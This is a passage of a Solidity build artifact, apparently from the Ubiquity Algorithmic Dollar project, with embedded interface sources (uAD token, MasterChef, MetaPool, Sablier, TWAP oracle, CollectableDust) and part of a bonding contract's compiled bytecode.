_amount);\\n\\n // ----------- State changing api -----------\\n function burn(uint256 amount) external;\\n\\n function permit(\\n address owner,\\n address spender,\\n uint256 value,\\n uint256 deadline,\\n uint8 v,\\n bytes32 r,\\n bytes32 s\\n ) external;\\n\\n // ----------- Burner only state changing api -----------\\n function burnFrom(address account, uint256 amount) external;\\n\\n // ----------- Minter only state changing api -----------\\n function mint(address account, uint256 amount) external;\\n}\\n\",\"keccak256\":\"0xf1170e23d8c1c05ecb677a1417bd13a646383544e292100edd7da32fb2188d91\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IIncentive.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\n/// @title incentive contract interface\\n/// @notice Called by uAD token contract when transferring with an incentivized address\\n/// @dev should be appointed as a Minter or Burner as needed\\ninterface IIncentive {\\n /// @notice apply incentives on transfer\\n /// @param sender the sender address of uAD\\n /// @param receiver the receiver address of uAD\\n /// @param operator the operator (msg.sender) of the transfer\\n /// @param amount the amount of uAD transferred\\n function incentivize(\\n address sender,\\n address receiver,\\n address operator,\\n uint256 amount\\n ) external;\\n}\\n\",\"keccak256\":\"0x38a8564acc4a3de67d7a53a2ddd78ac728db25651e03e3d9c13e345dfa79a7b5\",\"license\":\"MIT\"},\"contracts/interfaces/IMasterChef.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\n\\ninterface IMasterChef {\\n struct UserInfo {\\n uint256 amount; // How many LP tokens the user has provided.\\n uint256 rewardDebt; // Reward debt. See explanation below.\\n }\\n struct PoolInfo {\\n uint256 lastRewardBlock; // Last block number that SUSHI distribution occurs.\\n uint256 accuGOVPerShare; // Accumulated SUSHI per share, times 1e12. See below.\\n }\\n\\n event Deposit(address indexed user, uint256 amount);\\n event Withdraw(address indexed user, uint256 amount);\\n\\n function deposit(uint256 _amount, address sender) external;\\n\\n // Withdraw LP tokens from MasterChef.\\n function withdraw(uint256 _amount, address sender) external;\\n\\n // View function to see pending SUSHIs on frontend.\\n function pendingUGOV(address _user) external view returns (uint256);\\n}\\n\\n// THIS FILE WAS AUTOGENERATED FROM THE FOLLOWING ABI JSON:\\n\",\"keccak256\":\"0x926fc24888fa2b6fba4e99a7c2203d3b79d5e5e4707ef5a621e80d2e75362a1b\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/IMetaPool.sol\":{\"content\":\"// SPDX-License-Identifier: UNLICENSED\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface IMetaPool {\\n event Transfer(\\n address indexed sender,\\n address indexed receiver,\\n uint256 value\\n );\\n event Approval(\\n address indexed owner,\\n address indexed spender,\\n uint256 value\\n );\\n event TokenExchange(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event TokenExchangeUnderlying(\\n address indexed buyer,\\n int128 sold_id,\\n uint256 tokens_sold,\\n int128 bought_id,\\n uint256 tokens_bought\\n );\\n event AddLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event RemoveLiquidity(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 token_supply\\n );\\n event RemoveLiquidityOne(\\n address indexed provider,\\n uint256 token_amount,\\n uint256 coin_amount,\\n uint256 token_supply\\n );\\n event RemoveLiquidityImbalance(\\n address indexed provider,\\n uint256[2] token_amounts,\\n uint256[2] fees,\\n uint256 invariant,\\n uint256 token_supply\\n );\\n event CommitNewAdmin(uint256 indexed deadline, address indexed admin);\\n event NewAdmin(address indexed admin);\\n event CommitNewFee(\\n uint256 indexed deadline,\\n uint256 fee,\\n uint256 admin_fee\\n );\\n event NewFee(uint256 fee, uint256 admin_fee);\\n event RampA(\\n uint256 old_A,\\n uint256 new_A,\\n uint256 initial_time,\\n uint256 future_time\\n );\\n event StopRampA(uint256 A, uint256 t);\\n\\n function initialize(\\n string memory _name,\\n string memory _symbol,\\n address _coin,\\n uint256 _decimals,\\n uint256 _A,\\n uint256 _fee,\\n address _admin\\n ) external;\\n\\n function decimals() external view returns (uint256);\\n\\n function transfer(address _to, uint256 _value) external returns (bool);\\n\\n function transferFrom(\\n address _from,\\n address _to,\\n uint256 _value\\n ) external returns (bool);\\n\\n function approve(address _spender, uint256 _value) external returns (bool);\\n\\n function get_previous_balances() external view returns (uint256[2] memory);\\n\\n function get_balances() external view returns (uint256[2] memory);\\n\\n function get_twap_balances(\\n uint256[2] memory _first_balances,\\n uint256[2] memory _last_balances,\\n uint256 _time_elapsed\\n ) external view returns (uint256[2] memory);\\n\\n function get_price_cumulative_last()\\n external\\n view\\n returns (uint256[2] memory);\\n\\n function admin_fee() external view returns (uint256);\\n\\n function A() external view returns (uint256);\\n\\n function A_precise() external view returns (uint256);\\n\\n function get_virtual_price() external view returns (uint256);\\n\\n function calc_token_amount(uint256[2] memory _amounts, bool _is_deposit)\\n external\\n view\\n returns (uint256);\\n\\n function calc_token_amount(\\n uint256[2] memory _amounts,\\n bool _is_deposit,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function add_liquidity(uint256[2] memory _amounts, uint256 _min_mint_amount)\\n external\\n returns (uint256);\\n\\n function add_liquidity(\\n uint256[2] memory _amounts,\\n uint256 _min_mint_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx\\n ) external view returns (uint256);\\n\\n function get_dy_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256[2] memory _balances\\n ) external view returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy\\n ) external returns (uint256);\\n\\n function exchange_underlying(\\n int128 i,\\n int128 j,\\n uint256 dx,\\n uint256 min_dy,\\n address _receiver\\n ) external returns (uint256);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity(\\n uint256 _burn_amount,\\n uint256[2] memory _min_amounts,\\n address _receiver\\n ) external returns (uint256[2] memory);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount\\n ) external returns (uint256);\\n\\n function remove_liquidity_imbalance(\\n uint256[2] memory _amounts,\\n uint256 _max_burn_amount,\\n address _receiver\\n ) external returns (uint256);\\n\\n function calc_withdraw_one_coin(uint256 _burn_amount, int128 i)\\n external\\n view\\n returns (uint256);\\n\\n function calc_withdraw_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n bool _previous\\n ) external view returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received\\n ) external returns (uint256);\\n\\n function remove_liquidity_one_coin(\\n uint256 _burn_amount,\\n int128 i,\\n uint256 _min_received,\\n address _receiver\\n ) external returns (uint256);\\n\\n function ramp_A(uint256 _future_A, uint256 _future_time) external;\\n\\n function stop_ramp_A() external;\\n\\n function admin_balances(uint256 i) external view returns (uint256);\\n\\n function withdraw_admin_fees() external;\\n\\n function admin() external view returns (address);\\n\\n function coins(uint256 arg0) external view returns (address);\\n\\n function balances(uint256 arg0) external view returns (uint256);\\n\\n function fee() external view returns (uint256);\\n\\n function block_timestamp_last() external view returns (uint256);\\n\\n function initial_A() external view returns (uint256);\\n\\n function future_A() external view returns (uint256);\\n\\n function initial_A_time() external view returns (uint256);\\n\\n function future_A_time() external view returns (uint256);\\n\\n function name() external view returns (string memory);\\n\\n function symbol() external view returns (string memory);\\n\\n function balanceOf(address arg0) external view returns (uint256);\\n\\n function allowance(address arg0, address arg1)\\n external\\n view\\n returns (uint256);\\n\\n function totalSupply() external view returns (uint256);\\n}\\n\",\"keccak256\":\"0xc89cc32a2a8a0336c380ed2ae3c3b5a9292cf1cd431cc09dec4d3057389ed893\",\"license\":\"UNLICENSED\"},\"contracts/interfaces/ISablier.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\n// !! THIS FILE WAS AUTOGENERATED BY abi-to-sol. SEE BELOW FOR SOURCE. !!\\npragma solidity ^0.8.3;\\n\\ninterface ISablier {\\n event CreateCompoundingStream(\\n uint256 indexed streamId,\\n uint256 exchangeRate,\\n uint256 senderSharePercentage,\\n uint256 recipientSharePercentage\\n );\\n event PayInterest(\\n uint256 indexed streamId,\\n uint256 senderInterest,\\n uint256 recipientInterest,\\n uint256 sablierInterest\\n );\\n event TakeEarnings(address indexed tokenAddress, uint256 indexed amount);\\n event UpdateFee(uint256 indexed fee);\\n event Paused(address account);\\n event Unpaused(address account);\\n event PauserAdded(address indexed account);\\n event PauserRemoved(address indexed account);\\n event OwnershipTransferred(\\n address indexed previousOwner,\\n address indexed newOwner\\n );\\n event CreateStream(\\n uint256 indexed streamId,\\n address indexed sender,\\n address indexed recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime\\n );\\n event WithdrawFromStream(\\n uint256 indexed streamId,\\n address indexed recipient,\\n uint256 amount\\n );\\n event CancelStream(\\n uint256 indexed streamId,\\n address indexed sender,\\n address indexed recipient,\\n uint256 senderBalance,\\n uint256 recipientBalance\\n );\\n\\n function unpause() external;\\n\\n function cancelStream(uint256 streamId) external returns (bool);\\n\\n function withdrawFromStream(uint256 streamId, uint256 amount)\\n external\\n returns (bool);\\n\\n function initialize() external;\\n\\n function createCompoundingStream(\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime,\\n uint256 senderSharePercentage,\\n uint256 recipientSharePercentage\\n ) external returns (uint256);\\n\\n function addPauser(address account) external;\\n\\n function pause() external;\\n\\n function interestOf(uint256 streamId, uint256 amount)\\n external\\n returns (\\n uint256 senderInterest,\\n uint256 recipientInterest,\\n uint256 sablierInterest\\n );\\n\\n function updateFee(uint256 feePercentage) external;\\n\\n function takeEarnings(address tokenAddress, uint256 amount) external;\\n\\n function initialize(address sender) external;\\n\\n function createStream(\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime\\n ) external returns (uint256);\\n\\n function transferOwnership(address newOwner) external;\\n\\n function getEarnings(address tokenAddress) external view returns (uint256);\\n\\n function nextStreamId() external view returns (uint256);\\n\\n function getCompoundingStream(uint256 streamId)\\n external\\n view\\n returns (\\n address sender,\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime,\\n uint256 remainingBalance,\\n uint256 ratePerSecond,\\n uint256 exchangeRateInitial,\\n uint256 senderSharePercentage,\\n uint256 recipientSharePercentage\\n );\\n\\n function balanceOf(uint256 streamId, address who)\\n external\\n view\\n returns (uint256 balance);\\n\\n function isPauser(address account) external view returns (bool);\\n\\n function paused() external view returns (bool);\\n\\n function getStream(uint256 streamId)\\n external\\n view\\n returns (\\n address sender,\\n address recipient,\\n uint256 deposit,\\n address tokenAddress,\\n uint256 startTime,\\n uint256 stopTime,\\n uint256 remainingBalance,\\n uint256 ratePerSecond\\n );\\n\\n function owner() external view returns (address);\\n\\n function isOwner() external view returns (bool);\\n\\n function isCompoundingStream(uint256 streamId) external view returns (bool);\\n\\n function deltaOf(uint256 streamId) external view returns (uint256 delta);\\n\\n function cTokenManager() external view returns (address);\\n\\n function fee() external view returns (uint256 mantissa);\\n}\\n\",\"keccak256\":\"0x542af18e31708d4c4ac5331289a22eb74f750a754b152b661932faedbd585b43\",\"license\":\"MIT\"},\"contracts/interfaces/ITWAPOracle.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ITWAPOracle {\\n function update() external;\\n\\n function consult(address token) external view returns (uint256 amountOut);\\n}\\n\",\"keccak256\":\"0x363aabed248b8af1af9afffb9243afbce75e2af95afeabb1abea4dbfd73022d1\",\"license\":\"MIT\"},\"contracts/interfaces/IUbiquityAlgorithmicDollar.sol\":{\"content\":\"// SPDX-License-Identifier: Apache-2.0\\npragma solidity ^0.8.3;\\n\\nimport \\\"./IERC20Ubiquity.sol\\\";\\n\\n/// @title UAD stablecoin interface\\n/// @author Ubiquity Algorithmic Dollar\\ninterface IUbiquityAlgorithmicDollar is IERC20Ubiquity {\\n event IncentiveContractUpdate(\\n address indexed _incentivized,\\n address indexed _incentiveContract\\n );\\n\\n function setIncentiveContract(address account, address incentive) external;\\n\\n function incentiveContract(address account) external view returns (address);\\n}\\n\",\"keccak256\":\"0x34469f12207adbfd6003ce7710ddc7b0ee3c1637b5d7fbac2b35c9e3fe3b6182\",\"license\":\"Apache-2.0\"},\"contracts/interfaces/IUbiquityFormulas.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface IUbiquityFormulas {\\n function durationMultiply(\\n uint256 _uLP,\\n uint256 _weeks,\\n uint256 _multiplier\\n ) external pure returns (uint256 _shares);\\n\\n function bonding(\\n uint256 _shares,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uBOND);\\n\\n function redeemBonds(\\n uint256 _uBOND,\\n uint256 _currentShareValue,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _uLP);\\n\\n function bondPrice(\\n uint256 _totalULP,\\n uint256 _totalUBOND,\\n uint256 _targetPrice\\n ) external pure returns (uint256 _priceUBOND);\\n\\n function ugovMultiply(uint256 _multiplier, uint256 _price)\\n external\\n pure\\n returns (uint256 _newMultiplier);\\n}\\n\",\"keccak256\":\"0xfcdf335bdcc311c3676d3f1ff8972ad99a10cb83cfb5365b8fc1c26858bac5d1\",\"license\":\"MIT\"},\"contracts/interfaces/utils/ICollectableDust.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\ninterface ICollectableDust {\\n event DustSent(address _to, address token, uint256 amount);\\n event ProtocolTokenAdded(address _token);\\n event ProtocolTokenRemoved(address _token);\\n\\n function addProtocolToken(address _token) external;\\n\\n function removeProtocolToken(address _token) external;\\n\\n function sendDust(\\n address _to,\\n address _token,\\n uint256 _amount\\n ) external;\\n}\\n\",\"keccak256\":\"0xd0f888e6c106c2adbd077ff42607cd2e94afc45b1fbf82f16125d25e3257d0b7\",\"license\":\"MIT\"},\"contracts/utils/CollectableDust.sol\":{\"content\":\"// SPDX-License-Identifier: MIT\\npragma solidity ^0.8.3;\\n\\nimport \\\"@openzeppelin/contracts/utils/Address.sol\\\";\\nimport \\\"@openzeppelin/contracts/utils/structs/EnumerableSet.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/IERC20.sol\\\";\\nimport \\\"@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol\\\";\\n\\nimport \\\"../interfaces/utils/ICollectableDust.sol\\\";\\n\\nabstract contract CollectableDust is ICollectableDust {\\n using SafeERC20 for IERC20;\\n using EnumerableSet for EnumerableSet.AddressSet;\\n\\n address public constant ETH_ADDRESS =\\n 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;\\n EnumerableSet.AddressSet internal _protocolTokens;\\n\\n // solhint-disable-next-line no-empty-blocks\\n constructor() {}\\n\\n function _addProtocolToken(address _token) internal {\\n require(\\n !_protocolTokens.contains(_token),\\n \\\"collectable-dust::token-is-part-of-the-protocol\\\"\\n );\\n _protocolTokens.add(_token);\\n emit ProtocolTokenAdded(_token);\\n }\\n\\n function _removeProtocolToken(address _token) internal {\\n require(\\n _protocolTokens.contains(_token),\\n \\\"collectable-dust::token-not-part-of-the-protocol\\\"\\n );\\n _protocolTokens.remove(_token);\\n emit ProtocolTokenRemoved(_token);\\n }\\n\\n function _sendDust(\\n address _to,\\n address _token,\\n uint256 _amount\\n ) internal {\\n require(\\n _to != address(0),\\n \\\"collectable-dust::cant-send-dust-to-zero-address\\\"\\n );\\n require(\\n !_protocolTokens.contains(_token),\\n \\\"collectable-dust::token-is-part-of-the-protocol\\\"\\n );\\n if (_token == ETH_ADDRESS) {\\n payable(_to).transfer(_amount);\\n } else {\\n IERC20(_token).safeTransfer(_to, _amount);\\n }\\n emit DustSent(_to, _token, _amount);\\n }\\n}\\n\",\"keccak256\":\"0x160bceaa0efe86a5a4296c493053ac5744b4e698b418acde0331e36c4e64b5c3\",\"license\":\"MIT\"}},\"version\":1}", - "bytecode": "0x60a06040819052600060808190526200001b91600291620000a0565b5066038d7ea4c680006005556201518060065561b131600755606460085560016009553480156200004b57600080fd5b5060405162003beb38038062003beb8339810160408190526200006e9162000163565b600380546001600160a01b039384166001600160a01b03199182161790915560048054929093169116179055620001d7565b828054620000ae906200019a565b90600052602060002090601f016020900481019282620000d257600085556200011d565b82601f10620000ed57805160ff19168380011785556200011d565b828001600101855582156200011d579182015b828111156200011d57825182559160200191906001019062000100565b506200012b9291506200012f565b5090565b5b808211156200012b576000815560010162000130565b80516001600160a01b03811681146200015e57600080fd5b919050565b6000806040838503121562000176578182fd5b620001818362000146565b9150620001916020840162000146565b90509250929050565b600181811c90821680620001af57607f821691505b60208210811415620001d157634e487b7160e01b600052602260045260246000fd5b50919050565b613a0480620001e76000396000f3fe60806040526004361061019a5760003560e01c80638039d081116100e1578063aadc68a51161008a578063e2bbb15811610064578063e2bbb1581461043b578063e8a8fad51461045b578063fa3305c914610471578063ffd65a4914610491576101a1565b8063aadc68a5146103ea578063bf0d68e4146103ff578063c2ee3a081461041f576101a1565b8063a194bcde116100bb578063a194bcde1461038c578063a734f06e146103ac578063aa1ec70a146103d4576101a1565b80638039d081146103405780638f88f38d14610356578063900965561461036c576101a1565b8063482879aa1161014357806371cc5c0b1161011d57806371cc5c0b146102de57806373d4a13a146102fe5780637cc6bd4114610320576101a1565b8063482879aa146102895780636b71f457146102a957806371b3659e146102c9576101a1565b8063441a3e7011610174578063441a3e701461020857806347e54e3814610228578063481c6a7514610251576101a1565b80632db8c129146101a65780632f72589e146101c85780633b1ba367146101e8576101a1565b366101a157005b600080fd5b3480156101b257600080fd5b506101c66101c13660046136e7565b6104b1565b005b3480156101d457600080fd5b506101c66101e336600461375f565b6105fa565b3480156101f457600080fd5b506101c661020336600461375f565b61076a565b34801561021457600080fd5b506101c6610223366004613777565b610dd4565b34801561023457600080fd5b5061023e60095481565b6040519081526020015b60405180910390f35b34801561025d57600080fd5b50600354610271906001600160a01b031681565b6040516001600160a01b039091168152602001610248565b34801561029557600080fd5b50600454610271906001600160a01b031681565b3480156102b557600080fd5b506101c66102c436600461375f565b611307565b3480156102d557600080fd5b5061023e611470565b3480156102ea57600080fd5b506101c66102f936600461375f565b6115fd565b34801561030a57600080fd5b50610313611766565b60405161024891906138a6565b34801561032c57600080fd5b506101c661033b36600461375f565b6117f4565b34801561034c57600080fd5b5061023e60085481565b34801561036257600080fd5b5061023e60055481565b34801561037857600080fd5b506101c66103873660046136af565b611dce565b34801561039857600080fd5b506101c66103a736600461375f565b611f68565b3480156103b857600080fd5b5061027173eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee81565b3480156103e057600080fd5b5061023e60075481565b3480156103f657600080fd5b5061023e6120d1565b34801561040b57600080fd5b506101c661041a3660046136af565b6123eb565b34801561042b57600080fd5b5061023e670de0b6b3a764000081565b34801561044757600080fd5b5061023e610456366004613777565b61252b565b34801561046757600080fd5b5061023e60065481565b34801561047d57600080fd5b506101c661048c3660046136af565b612891565b34801561049d57600080fd5b506101c66104ac36600461375f565b6129ce565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b1580156104fe57600080fd5b505afa158015610512573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105369190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561057357600080fd5b505afa158015610587573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105ab9190613727565b6105ea5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064015b60405180910390fd5b6105f5838383612b37565b505050565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561064757600080fd5b505afa15801561065b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061067f9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156106bc57600080fd5b505afa1580156106d0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106f49190613727565b61072e5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60078190556040518181527f3a1c0b7d3cdecbab83b82697d51cbcdb308b3bbae63e597cbc958deb9c830e50906020015b60405180910390a150565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b1580156107b757600080fd5b505afa1580156107cb573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107ef9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b15801561082c57600080fd5b505afa158015610840573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108649190613727565b61089e5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b6003546040805163d3815fb960e01b815290516000926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b1580156108e357600080fd5b505afa1580156108f7573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091b91906136cb565b90506109b83083600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b15801561097057600080fd5b505afa158015610984573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a891906136cb565b6001600160a01b03169190612ce8565b60405163cc2b27d760e01b815260048101839052600060248201819052906064906001600160a01b0384169063cc2b27d79060440160206040518083038186803b158015610a0557600080fd5b505afa158015610a19573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a3d9190613747565b610a489060636138e5565b610a5291906138d1565b604051630d2680e960e11b81526004810185905260006024820152604481018290529091506001600160a01b03831690631a4d01d290606401602060405180830381600087803b158015610aa557600080fd5b505af1158015610ab9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610add9190613747565b50600360009054906101000a90046001600160a01b03166001600160a01b0316638fe636836040518163ffffffff1660e01b815260040160206040518083038186803b158015610b2c57600080fd5b505afa158015610b40573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b6491906136cb565b6001600160a01b031663a2e620456040518163ffffffff1660e01b8152600401600060405180830381600087803b158015610b9e57600080fd5b505af1158015610bb2573d6000803e3d6000fd5b505050506105f5600360009054906101000a90046001600160a01b03166001600160a01b031663c5f956af6040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0757600080fd5b505afa158015610c1b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3f91906136cb565b600360009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610c8d57600080fd5b505afa158015610ca1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc591906136cb565b6040516370a0823160e01b81523060048201526001600160a01b0391909116906370a082319060240160206040518083038186803b158015610d0657600080fd5b505afa158015610d1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d3e9190613747565b600360009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b505afa158015610da0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc491906136cb565b6001600160a01b03169190612e5b565b804311610e495760405162461bcd60e51b815260206004820152602f60248201527f426f6e64696e673a2052656465656d206e6f7420616c6c6f776564206265666f60448201527f726520626f6e64696e672074696d65000000000000000000000000000000000060648201526084016105e1565b6003546040805163310c7a0f60e21b8152905184926001600160a01b03169163c431e83c916004808301926020929190829003018186803b158015610e8d57600080fd5b505afa158015610ea1573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec591906136cb565b604051627eeac760e11b8152336004820152602481018490526001600160a01b03919091169062fdd58e9060440160206040518083038186803b158015610f0b57600080fd5b505afa158015610f1f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f439190613747565b1015610fb75760405162461bcd60e51b815260206004820152602b60248201527f426f6e64696e673a2063616c6c657220646f6573206e6f74206861766520656e60448201527f6f7567682073686172657300000000000000000000000000000000000000000060648201526084016105e1565b610fbf612e8b565b600360009054906101000a90046001600160a01b03166001600160a01b031663221e2e606040518163ffffffff1660e01b815260040160206040518083038186803b15801561100d57600080fd5b505afa158015611021573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104591906136cb565b604051627b8a6760e11b8152600481018490523360248201526001600160a01b03919091169062f714ce90604401600060405180830381600087803b15801561108d57600080fd5b505af11580156110a1573d6000803e3d6000fd5b5050505060006110af6120d1565b9050600360009054906101000a90046001600160a01b03166001600160a01b031663c431e83c6040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ff57600080fd5b505afa158015611113573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061113791906136cb565b604051637a94c56560e11b815233600482015260248101849052604481018590526001600160a01b03919091169063f5298aca90606401600060405180830381600087803b15801561118857600080fd5b505af115801561119c573d6000803e3d6000fd5b505050506105f533600360009054906101000a90046001600160a01b03166001600160a01b031663214f78826040518163ffffffff1660e01b815260040160206040518083038186803b1580156111f257600080fd5b505afa158015611206573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061122a91906136cb565b604051631ab1a8b560e31b81526004810187905260248101859052670de0b6b3a764000060448201526001600160a01b03919091169063d58d45a89060640160206040518083038186803b15801561128157600080fd5b505afa158015611295573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112b99190613747565b600360009054906101000a90046001600160a01b03166001600160a01b031663d3815fb96040518163ffffffff1660e01b815260040160206040518083038186803b158015610d8c57600080fd5b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561135457600080fd5b505afa158015611368573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061138c9190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156113c957600080fd5b505afa1580156113dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114019190613727565b61143b5760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60068190556040518181527f52e79878e695c50b75f241e6e286fa05123b26ab77b631b3d6dbae872718add79060200161075f565b60035460408051638fe6368360e01b815290516000926001600160a01b031691638fe63683916004808301926020929190829003018186803b1580156114b557600080fd5b505afa1580156114c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114ed91906136cb565b6001600160a01b031663283583c6600360009054906101000a90046001600160a01b03166001600160a01b031663bc3ea0186040518163ffffffff1660e01b815260040160206040518083038186803b15801561154957600080fd5b505afa15801561155d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061158191906136cb565b6040516001600160e01b031960e084901b1681526001600160a01b03909116600482015260240160206040518083038186803b1580156115c057600080fd5b505afa1580156115d4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115f89190613747565b905090565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561164a57600080fd5b505afa15801561165e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116829190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156116bf57600080fd5b505afa1580156116d3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f79190613727565b6117315760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b60088190556040518181527f3ea14a9ca9078eab3bb86287b1d08190ecdf30412b4f465e05655efca79e18b59060200161075f565b6002805461177390613947565b80601f016020809104026020016040519081016040528092919081815260200182805461179f90613947565b80156117ec5780601f106117c1576101008083540402835291602001916117ec565b820191906000526020600020905b8154815290600101906020018083116117cf57829003601f168201915b505050505081565b6003546040805163039b1cd560e61b815290516001600160a01b03909216916391d1485491839163e6c7354091600480820192602092909190829003018186803b15801561184157600080fd5b505afa158015611855573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118799190613747565b6040516001600160e01b031960e084901b168152600481019190915233602482015260440160206040518083038186803b1580156118b657600080fd5b505afa1580156118ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118ee9190613727565b6119285760405162461bcd60e51b815260206004820152601f60248201526000805160206139d883398151915260448201526064016105e1565b6003546040805163d3815fb960e01b815290516000926001600160a01b03169163d3815fb9916004808301926020929190829003018186803b15801561196d57600080fd5b505afa158015611981573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a591906136cb565b90506119fa3083600360009054906101000a90046001600160a01b03166001600160a01b031663d38